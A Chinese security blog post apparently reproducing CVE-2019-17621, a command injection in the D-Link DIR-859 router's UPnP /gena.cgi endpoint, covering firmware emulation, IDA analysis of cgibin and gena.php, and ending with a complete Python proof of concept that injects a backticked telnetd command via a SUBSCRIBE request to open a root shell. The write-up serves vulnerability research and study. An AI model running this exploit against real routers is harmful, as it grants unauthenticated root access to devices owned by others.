当前位置: 首页 > news >正文

【工业安全】-CVE-2019-17621-D-Link Dir-859L 路由器远程代码执行漏洞

文章目录

1.漏洞描述

2.环境搭建

3.漏洞复现

4.漏洞分析 

    4.1:代码分析 

    4.2:流量分析

5.poc代码:


1.漏洞描述

漏洞编号:CVE-2019-17621

漏洞名称:D-Link DIR-859 命令注入漏洞

威胁等级:严重

漏洞详情:D-Link UPnP-859 Wi-Fi路由器1.05和1.06B01 Beta 01中的UPnP端点URL /gena.cgi允许未经身份验证的远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求,从而以root身份执行系统命令

影响范围:D-Link DIR-859 v1.06b01beta01及之前的版本

固件下载地址:http://www.dlink.com.cn/techsupport/download.ashx?file=3850


2.环境搭建

下载到固件之后,首先需要把固件 DIR822A1_FW103WWb03.bin模拟运行起来。

在测试虚拟机中,模拟固件用到的是 firmware-analysis-toolkit:GitHub - attify/firmware-analysis-toolkit: Toolkit to emulate firmware and analyse it for security vulnerabilitiesToolkit to emulate firmware and analyse it for security vulnerabilities - GitHub - attify/firmware-analysis-toolkit: Toolkit to emulate firmware and analyse it for security vulnerabilitieshttps://github.com/attify/firmware-analysis-toolkit也可以直接安装一台 AttifyOS 虚拟机:GitHub - adi0x90/attifyos: Attify OS - Distro for pentesting IoT devicesAttify OS - Distro for pentesting IoT devices . Contribute to adi0x90/attifyos development by creating an account on GitHub.https://github.com/adi0x90/attifyos

这个虚拟机镜像就是专门用来进行物联网 (IoT) 设备的安全评估和渗透测试的,上面预装好了各种必要的工具,比较方便,AttifyOS 3.0 基于 Ubuntu 18.04。

3.漏洞复现

在firmadyne安装目录下执行命令:

./fat.py DIR822A1_FW103WWb03.bin,

出现如下提示后按回车运行固件。

在浏览器中访问 http://192.168.0.1

使用 nmap 扫描可以发现 9999 端口被开启,运行 telnet 服务:

命令:grep -r '49152'

注:49152开启的是UPnP(通用即插即用)网络协议。

运行poc

命令:python3.8 a.py

poc执行成功后,获得了dlink的shell。

4.漏洞分析

4.1:代码分析

使用 binwalk -e 解包固件,获得文件以备后续分析:

 进入home/CVE-2019/firmadyne/_DIR822A1_FW103WWb03.bin.extracted/squashfs-root/bin目录后,我们并没有发现httpd可执行文件。

使用grep 命令搜索当前目录及其子目录下所有包含 "httpd" 字符串的文

_DIR822A1_FW103WWb03.bin.extracted/squashfs-root/etc/services/HTTP.php 文件包含了 httpd 的配置文件路径 /var/run/httpd.conf,并且有启动和停止 httpd 服务的命令。这表明该脚本可能用于管理 httpd 服务的启动和停止。

查看httpd.conf文件:

cat var/run/httpd.conf

可知/htdocs/upnp/docs/LAN-1用于存放 UPnP 服务相关的文档和资源.

进入路径/htdocs/upnp/docs/LAN-1

命令:cd /htdocs/upnp/docs/LAN-1

ls -al

注意漏洞通告中:

The UPnP endpoint URL /gena.cgi in the D-Link DIR-859 Wi-Fi router 1.05 and 1.06B01 Beta01 allows an Unauthenticated remote attacker to execute system commands as root

能够定位漏洞位于/htdocs/cgibin

ida分析/htdocs/cgibin

通过查找关键词”gena”我们发现调用gena.cgi的genacgi_main函数

反汇编可知此函数的作用是处理一个简单的 CGI (通用网关接口) 请求

首先检查请求方法和请求 URI 是否有效。

然后检查请求 URI 是否包含 ?service=,并获取服务名称。

根据请求方法(SUBSCRIBE 或 UNSUBSCRIBE)的不同,调用相应的处理函数(sub_40FCE0或sub_4100EC)

注意漏洞通告中:

远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求。

跟进分析请求方法SUBSCRIBE调用的处理函数sub_40FCE0:

反汇编可知此函数的作用是用于 UPnP (通用即插即用) 服务,处理一个订阅请求。

这段代码主要是调用 xmldbc_ephp 函数来执行命令

分析xmldbc_ephp

它是一个包装器函数,用于调用另一个函数 sub_414FB8

跟进sub_414FB8函数

1. sub_4140BC 函数,获取一个文件描述符或类似资源。

2.如果获取成功,sub_4140BC 函数会调用 sub_41490C 函数进行进一步的操作。

跟进sub_41490C 函数:

sub_41490C 处理文件描述符读取和数据处理的函数。

3.如果 sub_41490C 确保成功,它会调用 sub_4146C8 函数进行最终操作。

sub_4146C8 函数作用是等待文件描述符流的状态变化,然后读取数据并调用 sub_41460C 函数。

sub_41460C 函数中fwrite 函数被用来将 a1 指向的内存区域中的数据写入到文件流中。

而a1内存区域中的数据在sub_4140BC就有定义

a1 在这个函数中主要用于:

可知脚本文件的路径run.NOTIFY.php中。

分析run.NOTIFY.php:

这段代码用于处理 UPnP 设备的事件订阅请求,根据不同的服务类型(GENA_subscribe_new 或者GENA_subscribe_sid)执行相应的操作。

内容定义在了/htdocs/upnpinc/gena.php中。

其中引入多个变量。

$shell_file 变量没有经过适当的清理转义,这允许攻击者通过在 URL 参数中注入恶意代码来控制 fwrite 函数写入的内容。

已知:49152端口开启的是UPnP(通用即插即用)网络协议。

我们可以构造如下请求:

http://<router-ip>:49152/gena.cgi?service=`$shell_file+命令 /`

验证命令注入漏洞。

4.2:流量分析 

UPnP端点URL /gena.cgi允许未经身份验证的远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求,从而以root身份执行系统命令。

5.poc代码:

代码复现时路由器ip:192.168.0.1

#!/usr/bin/python3import socket
import os
from time import sleepdef httpSUB(server, port, shell_file):print('\n[*] Connection {host}:{port}'.format(host=server, port=port))con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)request  = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"request += "Host: " + str(server) + str(port) + "\n"request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"request += "NT: upnp:event\n"request += "Timeout: Second-1800\n"request += "Accept-Encoding: gzip, deflate\n"request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"print('[*] Sending Payload')sleep(1)con.connect((socket.gethostbyname(server), port))con.send(request.encode())results = con.recv(4096)print('[*] Running Telnetd Service')sleep(2)print('[*] Opening Telnet Connection\n')os.system('telnet ' + str(server) + ' 9999')serverInput = "192.168.0.1"
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')

poc执行成功后,获得了dlink的shell。

相关文章:

【工业安全】-CVE-2019-17621-D-Link Dir-859L 路由器远程代码执行漏洞

文章目录 1.漏洞描述 2.环境搭建 3.漏洞复现 4.漏洞分析  4.1&#xff1a;代码分析  4.2&#xff1a;流量分析 5.poc代码&#xff1a; 1.漏洞描述 漏洞编号&#xff1a;CVE-2019-17621 漏洞名称&#xff1a;D-Link DIR-859 命令注入漏洞 威胁等级&#xff1a;严重 漏洞详…...

FastExcel + Java:打造高效灵活的Excel数据导入导出解决方案

作者&#xff1a;后端小肥肠 &#x1f347; 我写过的文章中的相关代码放到了gitee&#xff0c;地址&#xff1a;xfc-fdw-cloud: 公共解决方案 &#x1f34a; 有疑问可私信或评论区联系我。 &#x1f951; 创作不易未经允许严禁转载。 姊妹篇&#xff1a; 基于AOP的数据字典实现…...

fun-transformer学习笔记-Task1——Transformer、Seq2Seq、Encoder-Decoder、Attention之间的关系

Transformer、Seq2Seq、Encoder-Decoder、Attention由这四者之间的关系可以从模型架构的发展脉络来理解&#xff1a; Seq2Seq 与 Encoder–Decoder 模型 “Seq2Seq”&#xff08;sequence‐to‐sequence&#xff09;是一类用于将一个变长序列映射为另一个变长序列的任务&#x…...

使用Hexo部署NexT主体网站

一.使用git提交文件 参考&#xff1a; 从零开始搭建个人博客&#xff08;超详细&#xff09; - 知乎 致谢&#xff01; 第一种&#xff1a;本地没有 git 仓库 直接将远程仓库 clone 到本地&#xff1b;将文件添加并 commit 到本地仓库&#xff1b;将本地仓库的内容push到远程仓…...

图书管理项目(spring boot + Vue)

想要该项目的话&#xff0c;就 jia 我&#xff0c;并在评论区给我说一下&#xff0c;只需要1元&#xff0c;我把整个项目发给你 jia微&#xff1a;18439421203&#xff08;名字叫&#xff1a;Bingo&#xff09; 运行图片&#xff1a;...

python实现常见数学概率分布

常见正态分布 1.贝塔分布1.1 概率密度函数1.2参数对分布形状的影响1.3 应用场景1.4 python实现 2. 帕累托分布&#xff08;80/20法则&#xff09;3. 正态分布&#xff08;高斯分布&#xff09;3.1 正态分布对应性质3.2 正态分布对应图像![在这里插入图片描述](https://i-blog.c…...

解决Blender无法识别Num关闭状态下的笔记本数字键盘中Home键、End键问题

问题描述&#xff1a; 在笔记本电脑上&#xff0c;多少会缺少一些按钮&#xff0c;例如“Home”、“End”、“PgUp”、“PgDn”&#xff0c;它们在笔记本电脑上的作用是&#xff0c;如果关闭Num&#xff0c;则可以从数字键盘访问这些按钮。但问题是在Blender中&#xff0c;不论…...

React 高级教程

使用 React 高级组件&#xff08;HOC&#xff09;实现的完整项目示例&#xff0c;包含权限控制、数据加载状态处理、性能优化等常见高级功能。创建一个简单的博客系统: // 项目结构&#xff1a; src/ |-- components/ | |-- ArticleList.jsx | |-- Article.jsx | |-- He…...

基于Qt 和微信小程序的用户管理系统:WebSocket + SQLite 实现注册与登录

目录 一. 概要 二. 技术栈 三. 系统功能设计 3.1 功能模块 3.2 数据表设计 四. 具体实现 4.1 Qt 服务端 4.1.1 初始化 WebSocket 服务器 4.1.2 用户管理界面 4.2 微信小程序端 4.2.1 注册功能 4.2.2 登录功能 五. 运行效果 六. 源码下载 一. 概要 在物联网和智能设备…...

在CT107D单片机综合训练平台上实现外部中断控制LED闪烁

引言 在单片机开发中&#xff0c;外部中断是一个非常重要的功能&#xff0c;它可以让单片机在检测到外部信号变化时立即做出响应。本文将详细介绍如何在CT107D单片机综合训练平台上使用外部中断来控制LED灯的闪烁。我们将使用两种不同的方式来实现这一功能&#xff1a;一种是在…...

HTML之JavaScript使用JSON

HTML之JavaScript使用JSON JSON(JavaScript Object Notation)是一种轻量级的数据交换格式&#xff0c;易于人阅读和编写&#xff0c;同时也易于机器解析和生成。JSON是JavaScript对象的字符串表示法&#xff0c;它使用文本表示一个js对象的信息&#xff0c;可以将json字符串转换…...

算法很美笔记(Java)——树

性质 树 上面的性质因为两个结点由一条边连成 结点数目越多&#xff0c;算法复杂度越高 二叉树 结构 层次遍历 利用队列&#xff0c;弹一个&#xff0c;加N个&#xff08;队列里弹出一个元素&#xff0c;就把这个元素的所有孩子加进去&#xff09; 具体来说&#xff1a;指…...

SQL面试题4:相互关注问题

引言 在社交媒体和各类社区平台蓬勃发展的当下&#xff0c;用户之间的关系网络成为了平台运营和数据分析的关键部分。相互关注作为一种重要的社交关系&#xff0c;不仅反映了用户之间的紧密程度&#xff0c;还对平台的社交生态、内容传播等方面有着深远影响。本文将聚焦于 SQL…...

ArcGIS基础知识之ArcMap基础设置——ArcMap选项:常规选项卡设置及作用

作为一名 GIS 从业者,ArcMap 是我们日常工作中不可或缺的工具。对于初学者来说,掌握 ArcMap 的基础设置是迈向 GIS 分析与制图的第一步。今天,就让我们一起深入了解 ArcMap 选项中常规选项卡的各个设置,帮助大家更好地使用这款强大的软件。 在 ArcMap 中,常规选项卡是用户…...

jvm 线程监控调试

文章目录 前言一、使用JDK工具转储线程文件(如jstack)1. 找到Java进程的PID:2. 使用jstack生成线程转储文件:3.验证生成的线程转储文件:二、分析文件1.使用在线工具进行分析上传thread-dump文件,等待解析完成2.查看分析结果总结前言 提示:使用jdk自带工具转储线程监控文…...

25、深度学习-自学之路-卷积神经网络基于MNIST数据集的程序展示

import keras #添加Keraskuimport sys,numpy as np from keras.utils import np_utilsimport osfrom keras.datasets import mnist print("licheng&#xff1a;""20"\n) np.random.seed(1)(x_train,y_train),(x_test,y_test) mnist.load_data() #第一次…...

【C++】解锁<list>的正确姿势

> &#x1f343; 本系列为初阶C的内容&#xff0c;如果感兴趣&#xff0c;欢迎订阅&#x1f6a9; > &#x1f38a;个人主页:[小编的个人主页])小编的个人主页 > &#x1f380; &#x1f389;欢迎大家点赞&#x1f44d;收藏⭐文章 > ✌️ &#x1f91e; &#x1…...

Qt中的事件

写一个 可以拖动的按钮 DraggablePushButton.h 头文件 #ifndef DRAGGABLEPUSHBUTTON_H #define DRAGGABLEPUSHBUTTON_H#include <QPushButton> #include <QMouseEvent>class DraggablePushButton : public QPushButton {Q_OBJECTpublic:explicit DraggablePushBu…...

变化检测相关论文可读list

一些用得上的&#xff1a; 遥感变化检测常见数据集https://github.com/rsdler/Remote-Sensing-Change-Detection-Dataset/ 代码解读&#xff1a;代码解读 | 极简代码遥感语义分割&#xff0c;结合GDAL从零实现&#xff0c;以U-Net和建筑物提取为例 NeurIPS2024: https://mp.w…...

Ansible中playbook的变量

变量 playbook的变量有以下几种 在playbook中用户自定义的变量远程主机中由Ansible收集的变量在文件模板中使用的上述两种变量把任务结果作为一个变量使用&#xff0c;叫注册变量用户在执行playbook时&#xff0c;通过命令行传入的变量&#xff0c;叫做额外变量 在playbook中…...

STM32+rt-thread判断是否联网

一、根据NETDEV_FLAG_INTERNET_UP位判断 static bool is_conncected(void) {struct netdev *dev RT_NULL;dev netdev_get_first_by_flags(NETDEV_FLAG_INTERNET_UP);if (dev RT_NULL){printf("wait netdev internet up...");return false;}else{printf("loc…...

页面渲染流程与性能优化

页面渲染流程与性能优化详解&#xff08;完整版&#xff09; 一、现代浏览器渲染流程&#xff08;详细说明&#xff09; 1. 构建DOM树 浏览器接收到HTML文档后&#xff0c;会逐步解析并构建DOM&#xff08;Document Object Model&#xff09;树。具体过程如下&#xff1a; (…...

ESP32 I2S音频总线学习笔记(四): INMP441采集音频并实时播放

简介 前面两期文章我们介绍了I2S的读取和写入&#xff0c;一个是通过INMP441麦克风模块采集音频&#xff0c;一个是通过PCM5102A模块播放音频&#xff0c;那如果我们将两者结合起来&#xff0c;将麦克风采集到的音频通过PCM5102A播放&#xff0c;是不是就可以做一个扩音器了呢…...

智能分布式爬虫的数据处理流水线优化:基于深度强化学习的数据质量控制

在数字化浪潮席卷全球的今天&#xff0c;数据已成为企业和研究机构的核心资产。智能分布式爬虫作为高效的数据采集工具&#xff0c;在大规模数据获取中发挥着关键作用。然而&#xff0c;传统的数据处理流水线在面对复杂多变的网络环境和海量异构数据时&#xff0c;常出现数据质…...

基于matlab策略迭代和值迭代法的动态规划

经典的基于策略迭代和值迭代法的动态规划matlab代码&#xff0c;实现机器人的最优运输 Dynamic-Programming-master/Environment.pdf , 104724 Dynamic-Programming-master/README.md , 506 Dynamic-Programming-master/generalizedPolicyIteration.m , 1970 Dynamic-Programm…...

微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据

微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据 Power Query 具有大量专门帮助您清理和准备数据以供分析的功能。 您将了解如何简化复杂模型、更改数据类型、重命名对象和透视数据。 您还将了解如何分析列&#xff0c;以便知晓哪些列包含有价值的数据&#xff0c;…...

JAVA后端开发——多租户

数据隔离是多租户系统中的核心概念&#xff0c;确保一个租户&#xff08;在这个系统中可能是一个公司或一个独立的客户&#xff09;的数据对其他租户是不可见的。在 RuoYi 框架&#xff08;您当前项目所使用的基础框架&#xff09;中&#xff0c;这通常是通过在数据表中增加一个…...

【学习笔记】erase 删除顺序迭代器后迭代器失效的解决方案

目录 使用 erase 返回值继续迭代使用索引进行遍历 我们知道类似 vector 的顺序迭代器被删除后&#xff0c;迭代器会失效&#xff0c;因为顺序迭代器在内存中是连续存储的&#xff0c;元素删除后&#xff0c;后续元素会前移。 但一些场景中&#xff0c;我们又需要在执行删除操作…...

pikachu靶场通关笔记19 SQL注入02-字符型注入(GET)

目录 一、SQL注入 二、字符型SQL注入 三、字符型注入与数字型注入 四、源码分析 五、渗透实战 1、渗透准备 2、SQL注入探测 &#xff08;1&#xff09;输入单引号 &#xff08;2&#xff09;万能注入语句 3、获取回显列orderby 4、获取数据库名database 5、获取表名…...

沙箱虚拟化技术虚拟机容器之间的关系详解

问题 沙箱、虚拟化、容器三者分开一一介绍的话我知道他们各自都是什么东西&#xff0c;但是如果把三者放在一起&#xff0c;它们之间到底什么关系&#xff1f;又有什么联系呢&#xff1f;我不是很明白&#xff01;&#xff01;&#xff01; 就比如说&#xff1a; 沙箱&#…...